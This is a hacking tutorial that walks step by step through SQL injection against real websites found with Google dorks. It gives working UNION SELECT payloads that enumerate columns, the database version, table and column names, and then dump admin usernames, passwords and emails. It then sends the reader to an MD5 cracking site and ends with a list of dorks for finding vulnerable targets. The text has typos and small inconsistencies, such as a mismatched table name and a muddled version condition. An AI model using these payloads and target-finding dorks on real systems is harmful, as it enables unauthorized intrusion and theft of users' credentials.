Hacking websites with SQL

First of all we have to find a vunerable site

To get a vunerable site we can use a list of dorks,here we take

"inurl:index.php?id="

Goto google and search for "inurl:index.php?id="
click any site for example www.site.com/index.php?id=420

Checking vunerability:

To test the vunerability we add a ' at the end of the url so now it becomes

www.site.com/index.php?id=420'

if it gives an error like

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' and status=1' at line 1" or something like that

we can assume that it is vunerable.

Checking the number of columns:

To find the number of columns in its database we have to

do the following

www.site.com/index.php?id=420 order by 1-- if we donot get an error,it means that the column exists
similarly check
www.site.com/index.php?id=420 order by 2-- no error
www.site.com/index.php?id=420 order by 3-- no error
www.site.com/index.php?id=420 order by 4-- no error
www.site.com/index.php?id=420 order by 5-- no error
www.site.com/index.php?id=420 order by 6-- error

ok lets us assume that we got an error at 6 like 'Unknown column' ,this means that the database consists of only 5 columns

Check whether it supports UNION:

now try www.site.com/index.php?id=420 union select 1,2,3,4,5--

if we see some number like 2 3 or something like that on the screen then union works
data can be retrieved from 2 and 3

Finding MySql version:

Replace 2 in the url with @@version

Now it becomes www.site.com/index.php?id=420 union select 1,@@version,3,4,5--

you can find on scrren something like 5.0.37-log which is MySql version
it is different for different sites.For MySql version greater <5 we proceed for next steps

Getting the table names:

For getting table names we have to replace @@version from the above url with group_concat(table_name) and at the end add

+from+information_schema.tables+where+table_schema=database()--

now the url becomes Now it becomes

www.site.com/index.php?id=420 union select 1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=database()--

after hitting enter we can see something like this

user_admins,user_access,user_groups,user_userinaccess,user_users

which are table names in the database

Getting the column names:

To get the column names in the table we have to replace group_concat(table_name) with
group_concat(column_name)

now the url looks like

www.site.com/index.php?id=420 union select 1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_name='users_admins'--

now we can see something like username,password,email (different for different sites)

Getting username and password:

now we replace group_concat(column_name) with group_concat(id,0x3a,pass,0x3a,mail)
and at the end we add from+user_admins--

the url now looks like

www.site.com/index.php?id=420 union select 1,group_concat(id,0x3a,pass,0x3a,mail),3,4,5+from+user_admins'--

after hitting enter we can see username and password on the screen

if the password is MD5hash we decrypt it at
http://www.md5decrypter.co.uk/

List of google dorks

inurl:index.php?id=
inurl:news.php?id=
inurl:show.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:view.php?id=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:article.php?ID=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=